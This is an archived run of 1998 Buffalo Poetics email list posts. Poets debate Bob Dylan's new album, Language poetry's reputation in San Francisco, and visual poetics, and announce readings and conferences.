But kent is correct, while my memory for distant events is nigh unimpeachable, more recent happenings tend to elude my recall. When i have to put everything into storage for christmas, because of having to clear space in our little home for all those big relatives, i cant remember what went in which box, which is why i havent yet resuscitated my yasusada. This jibes with the Don-Byrd syndrome of having one's keener memories date 'way back. I actually have listened to all the dylan albums, but the Surprise Factor kept lessening after Nashville Skyline, and that I found an unpleasant surprise, since it wasnt Highway 61 or even Blonde on Blonde. There's a reluctance to let more stuff in, I guess, has come with age. But my 33-y-o son gave me the new Dylan CD for xmas & one of these nights, I'll listen. But 'nostalgia' scarcely feels the word for the keenness of earlier astonishments, seared into the memory rather than confabulated there by dotage. "Visons of Johanna," wow, and equally intense were For Love, Words, Pieces, Bending the Bow and The North Atlantic Turbine. Or Persona or Il Notte. And all those Godard film/lectures. But while like some other old farts I have experienced what I feared was terminal diminution of esthetic elation, Made to Seem boils my potatoes, & McCaffery's tour de force pop-poem at New Hants, & anything by Randolph Healey, & Debbie an Epic, & Rough Bush, & The Garcia Family Co-Mercy, & Dan Farrell's poetry and Chris Stroffolino's, & Jeff Derksen recent effusions & those pieces I heard Aaron Shurin read recently & on & on I mustnt go, but. . . . Jack Spicer (who aged rapidly) once declared that it was hard to be a poet after 35, because you had accumulated so much furniture you couldnt get in or out of the poem-room with much alacrity; maybe thats what some of us suffer from as time goes by. It actually makes me all the more grateful for the young poets I do, by some chance, read or hear, and there are still too many to mention in an e-post, though Darren-Wershler Henry and Christian Bok come to mind from my recent trip to Toronto, and our own Alan Sondheim (young to _me_), and Tony Lopez, & [message ends abruptly as its author is dragged upstairs to breakfast]

↑ Index

425. Carl Lynden Peters
Re: Whose Visual Poetics? : bill bissett
Thu 15 Jan 1998

Dear Poets,

for anyone in vancouver on January 26: bill bissett: 1:30 pm.

a great innovator, a great poet - visual lyrical sound or concrete - he is just bill bissett! one of our greats.

carl

P.S.: if anyone is going to be in vancouver then and can find their way to Simon Fraser University and wld like details please don't hesitate to contact me for those,

[redacted]

take care

> *One suggestion on the Perloff class controversy: maybe someone from the Visual Poetics community could organize readings/lectures/performances/shows to compliment her course and to compensate for perceived weaknesses/biases in her syllabus. This would take a good bit of energy on someone's part, but judging by the discussions we're having there's no lack of energy on the Visual Poetics scene.*
>
> *I'm sure Dr. Perloff would encourage her students to attend.*
>
> *Just a thought.*
>
> *Danny.*

↑ Index

426. Miekal And
Re: So tell Bromide and me what we should fear
Thu 15 Jan 1998

Don Byrd wrote:

> *What else?*

"Trip Tease" The Seductive Sounds of Tipsy

> *What else?*

Ubutronic Audio Faucet & Brainwave Seducer
http://www.net22.com/qazingulaza/joglars/logokon/noise/prenoiseframe.html

↑ Index

427. DANIEL L. COLLIER
Re: Whose Visual Poetics?
Thu 15 Jan 1998

One suggestion on the Perloff class controversy: maybe someone from the Visual Poetics community could organize readings/lectures/performances/shows to compliment her course and to compensate for perceived weaknesses/biases in

her syllabus. This would take a good bit of energy on someone's part, but judging by the discussions we're having there's no lack of energy on the Visual Poetics scene.

I'm sure Dr. Perloff would encourage her students to attend.

Just a thought.

Danny.

↑ Index

428. **Michael Magee**
Re: Evil Foster/Postmodern Culture
Thu 15 Jan 1998

I believe it was not *Ed* Foster but *Hal* Foster, who teaches at Cornell, who Josh described as evil, a different situatio entirely. -m.

According to KENT JOHNSON:
>
> Since no one has responded to Joshua Schuster's description
> yesterday of Ed Foster as "evil", does this mean that there is a
> consensus on this list that he is? Personally, I think Talisman is a
> great magazine, so I'm wondering. Is it run by a bad person?
>
> Also, wondering if it's been mentioned that there is a neat review of
> Poetics List up at Postmodern Culture, with our list compared
> (favorably) to the Academy of American Poets site. I think this is
> the last "free" issue of PmC, so those who haven't might want to
> check it out.
>
> Kent
>

↑ Index

429. **Jack Spandrift**
Re: schuster/dylan -Reply
Thu 15 Jan 1998

O I hear ya, McCoffey - "crazed, inbred regions" - why, that's where I was born an raised! Chickatoo County, just west northwest of Grmbajoyaho Valley - real mountain country, where the cider tastes like whiskey, and the whiskey tastes like diesel fuel, and the diesel fuel tastes like wine, and the wine tastes like Grandma's 44-Special! Hooeee! We used to sit out on the porch and throw horseshoes at the Fed-Ex delivery man every afternoon about sundown! I

member that Dylan fella comin around, beggin to learn tunes offa Gramps Jipsum, the Flea-band man! Gramps wouldn't play nothin for him for less than 5 Washintons! Them was crazy days, back in secret, independent ol USA! - Jack Spandrift

↑ Index

430. Safdie Joseph
Post Postmodernism
Thu 15 Jan 1998

This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible.

charset="iso-8859-1"

Fellow Listers --

The attachment above is an article by Mark Leyner that I found quite hilarious and also -- in a slightly perverse way -- extremely relevant to many of the concerns of this list. I hope you can all "get" this onto your word processor -- if you can't, please backchannel me and we'll arrange some other way to transmit it. It's worth the several screens it takes up!

I wanted to try and respond to David B.'s recent surprise about the list being thought anti-Langpo. I think he's certainly right to be surprised -- clearly the majority of folks here have, if not completely positive feelings, clear interest in and attraction to this . . . project. As people with whom I've exchanged backchannels with over the past year know, however, I was never among them, for a mixture of personal and poetic reasons.

Mike and Dale's Younger Poets has just published its new issue #7, with lots of work worth checking out, especially (for me) from Anselm Hollo, Lisa Jarnot, Duncan McNaughton and Lewis Warsh; the last third of this particular issue, however, is made up of posts from this list in late September. Without referencing that specific thread, I want to quote something that Dodie Bellamy said in the midst of it, this from September 26:

"I can sympathize with Tom Clark's hatred of Language Writers. I was living in San Francisco when the Lang-Pos took over the scene--it was brutal and many people were treated very badly."

I didn't know Dodie then (a situation I'm glad has been remedied!) but I can definitely understand and agree with this comment. I had just moved to San Francisco in 1980 when I first became conscious of a group of folks called the "Language Poets" -- the name was then an occasion of some consternation among them, but it's obviously stuck. It was at that time that I met Barry, Bob

Perelman, and Carla Harryman -- I never did meet Ron or Lyn, but they were prominently around, as was Steve Benson (whatever happened to Steve? Is he still around?) and some other folks that, I think, made up the "west coast branch" of the group. This was the personal part of the equation -- I found Barry (besides looking uncomfortably like George Will) well, almost insufferable. Priggish. Aloof. Supercilious. Contemptuous. On the other hand, Carla was quite affable; Bob was certainly always willing to engage in friendly debate. These are obviously personal reactions and carry the weight personal reactions do. I'm glad to see that other people feel differently about Barry's personality.

But the thing is, I found the poetics part insufferable too -- I came into poetry in the 70s, a devotee and student of, first, Pound and Williams, then Olson, then the Black Mountain folks (but not, as Ron had it a few months back, the "whiny 3rd-generation Black Mountain outsider nostalgia" school -- not an exact quote, but close) and the New York school -- later I was extremely fortunate to meet and even study with many of the people in the Allen Anthology and the New York school anthology, the two books that were my bibles. I remember really being excited about Don Byrd's book on Olson, felt it was one of the smartest things I'd ever read. This was my education -- this was the world I had somehow miraculously gained a small foothold in, and I was grateful.

And then I moved to San Francisco, and started publishing a short-lived but well-read magazine called _Zephyr_, and met the above-mentioned folks at readings, and talks, and seminars, and such, and found that they were consciously setting themselves in opposition to the people and ideas and work I had come out of, the universe that had formed my poetics and still does; I mean, people have joked about Freud's theory about the sons and the father on this list, but I have never seen -- and never will again, I'm sure -- such a conscious Oedipal scene as this one. They weren't nice about it, they weren't subtle about it: they just announced we are the new thing, take it or leave it. I left it. I found the work that came out of these half-baked French and Russian deconstructionist linguistic theories pretentious and extremely self-serving. Despite the undergraduate Marxism, I found it anti-political. I found it devoid of humor or wit. Most importantly, I found the ADDRESS of such work to be extremely narrow; I thought the work had abandoned the hope of affecting a wide audience, the hope of somehow EMBODYING that wider social context; I found it elitist.

Ancient history perhaps, but as Don and Ron and Tom have, I think, pointed out recently, what we learn is what stays with us. Now it's now, and after several years overseas and out of the loop of the poetry world, I've tried to re-educate myself about contemporary practice, what people are reading and writing and thinking; being part of this list has been a big part of that. Some things have changed, some things haven't; I find myself liking many poems that I would still call "langpo" 20 years later, and disliking others. I haven't read FRAME yet, but

will probably pick it up and give it a glance, based on what some people have said about it on this list; on the other hand, I found Barry's lecture in the ILS turgid and, finally, not worth the effort it took to read it. Is it all a matter of "taste," then, and can these things even be talked about? Well, I thought yesterday was the best day ever on the list, at least in my time on it -- so many provocative and intelligent posts! So I guess the answer is yes -- with the constant hope that people who are working different streets and different corners of those streets be granted respect and recognition and not automatically be shunted aside to the low-rent district.

Apologies for taking up so much valuable screen-space.

Joe Safdie

> name="Doc1.doc"
> filename="Doc1.doc"

↑ Index

431. Cadaly
Visual Poetry at LACMA
Thu 15 Jan 1998

Just wanted to mention, if it hasn't been mentioned on this thread, that the LA County Museum of Art (LACMA) Winter Writer on Site is Austin Straus, who will be giving a tour, lecturing, and teaching at Beyond Baroque on Visual Poetry.

LACMA
Saturday, Jan. 24, 2:30
Tour

LACMA
Saturday, Feb. 1, 2
Lecture

BB
Saturday, APRIL 18, 7:30
Presentations/reading

Simply on the mailing list,
Catherine Daly

↑ Index

432. LAURA MORIARTY
Saturday readings
Thu 15 Jan 1998

I seem to be having two of them:

This Saturday, the 17th, at the Luggage Store gallery at 1007 Market (Market and 6th in SF) at 8:00 I will be reading with Arnold Kemp and possibly Jack Hirschman - The current show there has to do with emotional and psychic baggage so I will be reading from my luggage-related work. (I actually have such work as I have just finished a manuscrpt called The Case.)

The Luggage Store is a new reading venue. Leslie Scalapino is doing a performance there with a performance artist whose name I can't remember in February in the store window that will also include a pile of dirt or possibly mud. More about this later.

Also Saturday 31 January there will be a group reading for the new Avec Sampler which will include Lissa McLaughlin, George Albon, Stephen-Paul Martin and myself.

Laura Moriarty

↑ Index

433. Bob Grumman
Re: Whose Vispo?
Thu 15 Jan 1998

Odd, I sent two messages to the list around ten this morning and neither has been posted. One was innocuous, the other critical of Marjorie Perloff's seminar. Has freedom of speech been suspended, or is it just an oddly-timed glitch? --Bob G.

↑ Index

434. Aldon Nielsen
Re: Dylan
Thu 15 Jan 1998

I've read Mark Wallace's Sonnets of a Penny a Liner 5 times -- does that count?

anyway, at the risk of incurring the rath of the list -- permit me to mention the Bob Dylan conference at Stanford this Saturday -- running from 9:00 through the afternoon -- at which I will talk about Dylan and some, er . . . poets --

↑ Index

435. **Henry Gould**
Re: Post Postmodernism
Thu 15 Jan 1998

"EMBODYING a wider social context" (J.Safdie). that seems like what it's all about - what poetry somehow does, or tries to do. the challenge facing every poet. Not in any simplistic sense, either. - Henry Gould

↑ Index

436. **David Zauhar**
Re: schuster/dylan -Reply
Thu 15 Jan 1998

> *O I hear ya, McCoffey - "crazed, inbred regions" - why, that's where I was born an raised! Chickatoo County, just west northwest of Grmbajoyaho Valley - real mountain country, where the cider tastes like whiskey, and the whiskey tastes like diesel fuel, and the diesel fuel tastes like wine, and the wine tastes like Grandma's 44-Special!*
> *- Jack Spandrift*

I thought Spandrift was from Brainerd or Bemidji Minnesota. Not exactly mountain country, if memory serves.

Dave Zauhar

↑ Index

437. **hen**
Re: schuster/dylan -Reply
Thu 15 Jan 1998

On Thu, 15 Jan 1998 13:15:43 -0600 David Zauhar said:
>
>I thought Spandrift was from Brainerd or Bemidji Minnesota. Not exactly
>mountain country, if memory serves.

Spandrift went to Brainerd to escape the law. But he won't tell you that, he's on the run, the cagey varmint he is. Here's a tune from his most recent CD, "Words Gone Naked"

O them green, green hills of Brainerd,
How I long for your mustache in my pie!
For your dolesome wholesome Folsom
I will moan, moan, moan
Until I see them hilltops through the haze...

- """"Eric Blarnes"""[hic]

↑ Index

438. Aldon Nielsen
Re: C.L.R. James
Thu 15 Jan 1998

On the subject of conferences -- I have one slot still open on a panel on C.L.R. James for the American Literature Association , last weekend of May in San Diego -- The james panel will be on Saturday -- email quick if you'd like to propose a paper

↑ Index

439. MAYHEW
History of Modern Poetry
Thu 15 Jan 1998

The History of Modern Poetry:
From the 1890s to the High Modernist Mode

(Chapter 1) To replace every line with a better one until the poem was perfected--such was his simplistic thinking until Ezra Pound straightened him out, circa 1914, staring for weeks at a rotting fish until the poem was perfected. There had to be a better way!

(Chapter 2) Until Ezra Pound straightened him out Yeats sulked in Celtic twilight staring for weeks at a rotting fish, surfacing only to consult the Martians.

(Chapter 3)
There had to be a better way to describe a red wheelbarrow!

(Chapter 4) Yeats sulked in Celtic twilight while Spicer and Duncan made world-series predictions, surfacing only to communicate with the Martians living in North Beach or Berkeley.

(Chapter 5) To describe a red wheelbarrow Wallace Stevens or that other poet whose name slipped my mind, while Spicer and Duncan made world-series predictions, squandering a family fortune and living in North Beach or Berkeley... No, that was somebody else.

(Chapter 6) Wallace Stevens, or that other poet, whose name slipped my mind delivered the infant Allen Ginsberg in Paterson, New Jersey, squandering a family fortune and marrying the woman whose face was on the nickel. No, that was somebody else.

(Chapter 7) In his old age he imagined that he had delivered the infant Allen Ginsberg in Paterson, New Jersey. It would have made a great story!

Marrying the woman whose face was on the nickel was small consolation for a life of obscurity.

(Chapter 8)
In his old age he imagined that he had once discussed Gertrude Stein with Picasso. It would have made a great story.

(Chapter 9) To replace every line with a better one was small consolation for a life of obscurity--such was his simplistic thinking. Once discussed Gertrude Stein with Picasso , circa 1914.

Jonathan Mayhew
Department of Spanish and Portuguese 3062 Wescoe Hall University of Kansas
[redacted]

↑ Index

440. Aldon Nielsen
film etc.
Thu 15 Jan 1998

1. here's the "w" that was missing from "rath" in my previous post

2. AND for those interested in film etc. :

http://humanitas.ucsb.edu/~everett/news_letter/index.html

This address will bring you to the newsletter of the African-American caucus of the Society for Cinema Studies -- The issue now on line contains a short piece by our own Patrick Pritchett as well as nifty photos of Lorenzo Thomas at Naropa this past Summer

↑ Index

441. Robin Morris
Re: schuster/dylan -Reply
Thu 15 Jan 1998

I'm not sure I follow your logic here: is Jong being read by young women (by anyone) these days? I consider her someone who seemed "liberated" half a life-time ago, but is a more than a little beside the point nowadays. The biggest belly laugh I got from the album on my first couple of hearings was from that line. He's got to be sarcastic, right, affirming how little he cares or knows about feminist issues.

Robin

> *I like the new dylan album very much. It's tightly put together but it's in a gunny sack of sound. And in one song, the narrator cites his reading of Erica Jong as evidence that he is sensitive to women, so if he is aware of a possible generational divide, he is unbothered by it. It is the irreverent unrepentant dylan at top form, with the great swirling Wurlitzer organ in many of the cuts.*

* * * * * * * * *

Robin A. Morris
[redacted]
Home page: http://www-unix.oit.umass.edu/~ramorris

↑ Index

442. **Cadaly**
Re: Jong
Thu 15 Jan 1998

She's got a poem about shoes on the new Rhino compilation CD. Which seems to be overly indebted to the Lannan poetry series.

Catherine Daly

↑ Index

443. **Michael Coffey**
Re: schuster/dylan -Reply -Reply
Thu 15 Jan 1998

yes indeed, the erica jong reference is funny, and blatantly a lazy rhyme given in the exhausted spirit of the song; that last tune, my heart's in the highlands, 17 minutes long or so, is as shaggy a dog song as dylan has. the music drives it, though, makes it stand up despite all the loose carefree phrasemaking that hangs off it. but of course one shouldn't say that bob dylan is anything with respect to feminism and the like. He's not in these songs in a literal way. He's doing voices.

a couple (three, actually) of the other posts seemed to be making merry with the idea that dylan or greil marcus or I have any right to point towards an "invisible republic" of outlawry threading its way through american folk music. but gawd, don't ever suggest that the poetic enthusiams of this list are not engaged in some spirited opposition to the narrow forces of a dominant culture. thar's the heroism, "emodying a wider social context" indeed!

>>> Robin Morris <[redacted]> 01/15/98 04:04pm
>>>

I'm not sure I follow your logic here: is Jong being read by young women (by
anyone) these days? I consider her someone who seemed "liberated" half a
lifetime ago, but is a more than a little beside the point nowadays. The
biggest belly laugh I got from the album on my first couple of hearings was
from that line. He's got to be sarcastic, right, affirming how little he
cares or knows about feminist issues.

Robin

>I like the new dylan album very much. It's tightly put together but it's in a
>gunny sack of sound. And in one song, the narrator cites his reading of
>Erica Jong as evidence that he is sensitive to women, so if he is aware
>of a possible generational divide, he is unbothered by it. It is the
>irreverent unrepentant dylan at top form, with the great swirling Wurlitzer
>organ in many of the cuts.
>
>

* * * * * * * * *

Robin A. Morris
[redacted]
Home page: http://www-unix.oit.umass.edu/~ramorris

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444. David Zauhar
Re: schuster/dylan -Reply
Thu 15 Jan 1998

On Thu, 15 Jan 1998, hen wrote:

> *On Thu, 15 Jan 1998 13:15:43 -0600 David Zauhar said:*
>
> *I thought Spandrift was from Brainerd or Bemidji Minnesota. Not exactly mountain country, if memory serves.*
>
> *Spandrift went to Brainerd to escape the law. But he won't tell you that, he's on the run, the cagey varmint he is. Here's a tune from his most recent CD, "Words Gone Naked"*
>
> *O them green, green hills of Brainerd,*
> *How I long for your mustache in my pie!*
> *For your dolesome wholesome Folsom*

> *I will moan, moan, moan*
> *Until I see them hilltops through the haze...*
>
> *- """"Eric Blarnes""""[hic]*

My Mistake, and thanks for the biographical clarification. I have relatives from towns near Brainerd (Crosby and Ironton), but unlike the guys in the movie _ Fargo_, I don't know where to go to get laid (though I imagine I could find a woodchipper without much difficulty).

DZ

↑ Index

445. **Bob Grumman**
Re: Freedom of Speech
Thu 15 Jan 1998

Turns out the messages I tried to send to the list around 9:30 this morning never got beyond my server who had some kind of trouble he wasn't aware of till I called him around four this afternoon. Apologies to ye Guardians of the Buffalo List for my dark but amusing suspicions. But the timing of my server's problem WAS Very Weird!

--Bob G.

↑ Index

446. **rsillima**
The Strangeness of Kinders
Thu 15 Jan 1998

"When I was a youngster, those people were still strange too. But none of them were as strange as my friends from high school... Henry Gould"

I, for one, would be willing to stipulate that Henry Gould's friends from high school and possibly even later might be as strange as....

Ron

↑ Index

447. **CharSSmith**
Re: PhillyTalks #3
Thu 15 Jan 1998

In a message dated 98-01-09 04:06:08 EST, you write:

<< Jeff Derksen & Ron Silliman dialogue on opposition & contradiction in the unedited present, in PhillyTalks #3, available next week from this e-address to interested persons. #3 includes new poetry from each. >>

Louis,

Please send me a copy. What happened to number two? I saw the first one on the Web--maybe missed an announcement for the second? Anyway, it's a great idea!

all best,
Charles Smith

↑ Index

448. **Susan Schultz**
Re: schuster/dylan -Reply
Thu 15 Jan 1998

Just got the tape; I especially liked the line before by a woman who says to the Dylan-narrator, "You don't read women writers, do you?" The response of "I do, I read Erica Jong" (or whatevahs) is surely ironic. What gets me about the album, in the context of all the discussion on this list, is how scenic-mode-official-lyric-culture-univocal it is. Does the music, mainly blues inflected, really draw us to such an extent to something many on this list (if not the langpo bashers, whoever they are) heartily disapprove of? It's all about love and loss, love and loss--and Tom, those themes _are_ ones that young people tap into, no? Or was I just warped? Ok, I was, no matter. Lots of sentiment and cliches. Does "sentiment" now belong in songs, but not in poems? But I, for one, have enjoyed my first couple of listens to it in my car driving through the Koolau tunnels to work (the album is tropical only in the linguistic sense...).

Susan

On Thu, 15 Jan 1998, Robin Morris wrote:

> *I'm not sure I follow your logic here: is Jong being read by young women (by anyone) these days? I consider her someone who seemed "liberated" half a lifetime ago, but is a more than a little beside the point nowadays. The biggest belly laugh I got from the album on my first couple of hearings was from that line. He's got to be sarcastic, right, affirming how little he cares or knows about feminist issues.*
>
> *Robin*
>
> *I like the new dylan album very much. It's tightly put together but it's in a gunny sack of sound. And in one song, the narrator cites his reading of Erica Jong as evidence that he is sensitive to women, so if he is aware*

> *of a possible generational divide, he is unbothered by it. It is the irreverent unrepentant dylan at top form, with the great swirling Wurlitzer organ in many of the cuts.*
>
> * * * * * * * * *
>
> *Robin A. Morris*
>
> [redacted]
>
> *Home page: http://www-unix.oit.umass.edu/~ramorris*

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

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449. Joe Amato/Kass Fleisher
Re: dylan vs. poetry
Thu 15 Jan 1998

aw well, heck... i was gonna wait a spell, b/c i've been up to no good and i wanted to share it with you folks when it looked reasonably... good...

but what the hell: the working draft of a text of a talk i'll be giving at a suny/stony brook conference end of march, "new millennium, new humanities"... i'll be yapping, alongside mary kelly's and judith barry's no doubt wiser words, on "new arts" (a very brief description of what i hope to accomplish at my home page)... here's the title:

what a little moonlighting can do, seriously @
http://www.iit.edu/~amato/moonlight.html

no doubt i've excluded numerous somebodies... i'm trying!---it's an academic venue, and i'm trying to open it up some...

the dylan cd is ok, but i'm with mandel on this one---*blood on the tracks* is his best, from my pov... and don (folks---i studied with don, we be tight even if we don't always agree)---that word *serious* comes under some, uh, *serious* scrutiny at the url (above)...

be sure to follow (all!) the links... all pies (coconut cream is my favorite, but 3.14159... ok too) backchannel, please...

best,

joe

email: [redacted]
url: http://www.iit.edu/~amato

↑ Index

450. Heather Starr
Re: (antilangpo?) stunned. very stunned. (ringo)
Thu 15 Jan 1998

I'm sorry -- I thought this was the Language Poetry Discussion List.

heather (joking, but pointedly pointing towards pro)

> *clears matters up. --I wonder what my fellow listlings think about her impression? Buffalo Poetics List, Jan 1998 : pro-LANGPO, or anti-?*
>
> *David*

--

Heather Starr
work: [redacted]
home: [redacted]

↑ Index

451. Don Byrd
Re: dylan vs. poetry
Thu 15 Jan 1998

Tom Mandel wrote:

> *Tho I respect Don Byrd a lot, Dylan vs. "other serious artists" (i.e. poets) doesn't seem to me to be on any target.*
>
> *Dylan is not a poet.*

Tom, I see nothing in your note that I do not agree with. My only question was, how come every one seems to have an opinion on this songwriter when there seems to be almost no comparable discussion of poets. I insisted that Dylan was a "serious artist" (i.e. a serious song writer whom I wanted to

compared with serious poets) precisely because I didn't want to make the category mistake you want to correct.

Although it appears that 5 or 6 people have read _Frame_, this is not enough common ground to support a serious discussion of current poetic practice. Pound says somewhere, "It doesn't make any difference what books people read as long as they read the same books." Of course, some may want to take his comment as a fascist apology for the canon, but in practical terms, if this list (or any list) is to support a useful discussion it must have shared a vocabulary.

> **********

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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452. Jack Spandrift
Re: schuster/dylan -Reply -Reply
Thu 15 Jan 1998

On Thu, 15 Jan 1998 16:36:16 -0500 Michael Coffey said:
>
>a couple (three, actually) of the other posts seemed to be making merry
>with the idea that dylan or greil marcus or I have any right to point
>towards an "invisible republic" of outlawry threading its way through
>american folk music. but gawd, don't ever suggest that the poetic
>enthusiams of this list are not engaged in some spirited opposition to the
>narrow forces of a dominant culture. thar's the heroism, "emodying a
>wider social context" indeed!

Ey, McCoffey, me lad, dinna take Spandrift's spirits amiss - e's with ye, lad, e's with ye! Al 6'3" a South Carolina ruffian, aye!
- Eric McBlarnes

p.s. but I'm wi' Schuster al the wee on the Dylan lad's effarts!

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453. **Don Byrd**

So tell Bromige and me what we should hear

Thu 15 Jan 1998

david bromige wrote:

> *. This*
> *jibes with the Don-Byrd syndrome of having one's keener memories date 'way back.*

David, the other side of this (or two other sides) is the fact that until about the time I graduated from college I listened almost exclusively to be-bop and blues. I had some Litte Richard and some do-wop records, for parties, but I listened Parker, Monk and Davis, or B.B. King, Howling Wolf, and Muddy Waters, who all started recording about the time I was born, and to Ellington, who started recording twenty years before that. It was _Hiway 61 Revisited_ and _Sgt. Pepper_ (along with the various distortions--both ideological and otherwise--of that time) that made me part of my generation.

My daughter, who will graduate from college this spring, listens to _Hiway 61 Revisited_ almost every day, I think, but, when I ask her what she thinks is going on musically, she gives me David S. Ware, post-Coltrane music of the spheres (so Ware insists)--wonderful, but I don't need her to tell me this is good.

But, of course, "Visions of Johanna" belongs to the art of the song in the grandest scale. One speaks of it, in the company of songs of the great Renaissance song writers.

I keep bugging my students about what to listen to. The best thing they have turned me onto recently is Tricky, _Pre-Millennium Tension_.

What else? What else?

****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)

****

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454. Rachel Loden
FYI (baby poet maudit alert)
Thu 15 Jan 1998

Poeta nascitur, non fit?

Study: Children of Divorce Twice as Likely to Write Bad Poetry

http://www.theonion.com/onion3301/divorcepoetry.html

Excerpts:

"DURHAM, NC--A study released Monday by Duke University's Center for the American Family confirmed what many child-development experts have asserted for years: Children whose parents are divorced are twice as likely to compose bad poetry as those whose parents are married....

"The Duke researchers also found a strong correlation between the nature of a particular divorce and quality of poetry. In 90 percent of divorces categorized as "amicable," the breakup results in rhyming poems, usually with irritating, "sing-songish" A-B-A-B rhyme schemes. The more acrimonious the split, however, the greater the odds of a child turning to other, more wretch-inducing poetic forms: Eighty-five percent of contested divorces end in free verse, the study found, and three in four divorces involving custody battles end in haiku...."

[More like "retch-inducing," maybe?]

Rachel Loden

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455. Henry Gould
Re: dylan vs. poetry
Thu 15 Jan 1998

I think if you correlate Jonathan Mayhew's mini-history of 20th century poetry with the general Dylan-poetry debate, you can just about sense a faint breeze wafting from the approaching future century-millennium-era. Because what seems Great & Essential to us is suddenly framed in an entirely new museum of events; maybe a repetition of what happened at the beginning of the 20th century, nevertheless a reconfiguration on behalf of the GNU gnu. - Henry Gould p.s. Ron - great example of the New Sentence! Dig the ... ! (language poets : someday check out the subversive potential of the SUBORDINATE CLAUSE) ... !

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456. **Steve Shoemaker**
Re: dylan vs. poetry
Thu 15 Jan 1998

One of my fave popcult moments of recent times was in the "modernized" Richard III film, when "Come Live with Me and Be My Love" (a.k.a The Passionate Shepherd etc etc) was performed as a 1940s-style pop number. s

At 09:10 AM 1/15/98 -0800, you wrote:
>Tom Mandel wrote:
>
>>Too big for me to undertake with a lunch meeting in 90 minutes. But, I'd
>>just point out what happens, for example, to a poem when it's set to music.
>>It is substantially reduced in its language-effect. It immediately becomes
>>something quite different from itself. It can be a great work (recommend
>>song-cycles and settings by Berlioz, Mahler, Milhaud, Poulenc, Lutoslawski,
>>etc.), but you're not getting direct access to any part/place of/in the
>>poem any longer.
>>
>>"But poetry once *was* a musical art. The Psalms? Sappho?" Oral shape, oral
>>memory are different media from those of writing. Once you could write down
>>thoughts, everything changed. Poetry changed.
>
>But we don't need to go back to an idealized oral antiquity to supply
>examples of poetical-musical compatibility. What about Elizabethan
>ballads, Blake, even Ginsberg? One could argue that "poems" like "Come
>Live with Me and Be My Love" or "When to Her Lute Corrina Sings" are
>"substantially reduced" in their "language-effect" precisely because of
>being _removed_ from their musical settings, as they are in their
>Nortonized fossil-existences. I'm not sure, however, that one wants to go
>there in either case, as what happens is one ends up committed to a
>principle of preservation of the originary moment of creation, with all
>that baggage of intention and other bugbears.
>
>My main point, I suppose, is that "direct access" is a problem no matter
>what; if being set to music closes off certain (imagined?) points of entry
>into a poem, so does a shift from manuscript to type, or from one printed
>format to another, or from being read silently to being read aloud, or from
>being read on Tuesday to being read on Friday. Conversely, a musical
>context might open up latent areas of signification unavailable on purely
>textual reading. A friend of mine picked up his guitar one day and belted

>out an impromptu country-western rendition of "Do Not Go Gentle into that
>Good Night"--the printed version has seemed flat to me ever since. And of
>course, there's the old observation that you can sing the beginning to
>_Paradise Lost_ to the tune of the _Flintstones_ theme. This kind of
>backwards historical contamination operates, albeit in less violent
>degrees, on much of what we read, hear, etc.
>
>imagine what revisions, thitherto undreaded, might emerge from an
>'80s-style West-coast hardcore version of "The Love Song of J. Alfred
>Prufrock," or a polka treatment of Bob Perelman's "Chronic Meanings."
>
>Um, Bob Dylan: he's that old guy, right?
>
>Kasey Hicks
>
>

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457. George Bowering
Re: (antilangpo?) stunned. very stunned. (ringo)
Fri 16 Jan 1998

I too was puzzled by Ms Dunn's notion that this list was anti-LangPo. I have always thought that it was made up of people who are either Language Poets pr assume that the Language Poets are the main thing or one of the main things. Maybe she got crossed between this list and the one we hear about from time to time, the one about the strangely named new Formalists.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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458. Louis Cabri
histories
Fri 16 Jan 1998

Want to phatically blurt how posts in last
few days are an ore ridge in all ways golden, the 'vizpo'
ones for sure, & more. In particular it seems Joshua

Schuster's post has momentarily 'humanized' the list in a new way, resulting in some wonderful 'private' histories (let's have more!) of books read. Feel I have learned more about some of you folks from what you have described of your own past (poetical activities etc) in the last few days than.... Perhaps such a turn back to histories private & shared, so as to also get, in some larger sense, a collective history floating in the present tense, is needed, in order to begin to figure what future we might bring forward here together. (No, I have not joined the Folkways Department.) It's that common ground Don Byrd suggests, which appeals. It's not where your email's come to, but where it's never come to.... A cognitive mapping of books read (where, when, why, how, what)? Lurklessly bereft, but glad - l

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459. david bromige
dullard brutes of langpo
Fri 16 Jan 1998

I appreciate Joe Safdie's frankness. But sometimes it's more like a steamroller than a scalpel. The traits he attributes in one part to the langpos of sf en masse, turn out to be just those that he feels Barrett Watten possesses. Later in his post, he declares that langpoets (again en masse) were/are "devoid of humor and wit." Perelman? Benson? Harryman? Robinson? Four of the wittiest, funniest people I ever met! Ron Silliman once worked as a standup comedian! And perhaps perilangpoetic, but certainly very much in the middle of things then, the devastating wit of Tom Mandel, the deadpan humor of Michael Palmer!

Joe's take is unhappily similar to Tom Clark's would-be assassinations in _Poetty Flash_ mid-80s. Barrett is made the butt, and on the other hand, _all_ langpos are tarred with the Barrett brush.

Moving in and taking over--what do you think it was like when Black Mountain came to _your_ town?! When the Beats rolled into cities in the middle of the night, their tanks on rubber tracks, their submachine guns loaded with live ammo? There's been worse than Langpo, Joe! Ever read Robert Duncan's sadistic dissection of Robin Blaser's versions of _Les Chimeres_ ? Look it up--in a journal called _Audit_ issued in Buffalo in 66-67 or 67-68 : page upon redundant page of vitriolic grandstanding. Our dear friend Robert Duncan (I say that not only with irony). It drove Robin out of the country.

Ever read Ed Dorn & Tom Clark's _Rolling Stock_ , that wanted to wipe out any number of xenotypes, including gays with aids? I personally do not remember

any occasion of Dodie Bellamy being tortured, nor would I have stood idly by had I been witness. I did hear complaints, from others, that they felt left out. It didn't appear to be, initially, a matter of personal animosity, but rather of ideological difference. So then why would you want to be acknowledged by a group that you thought should not exist?

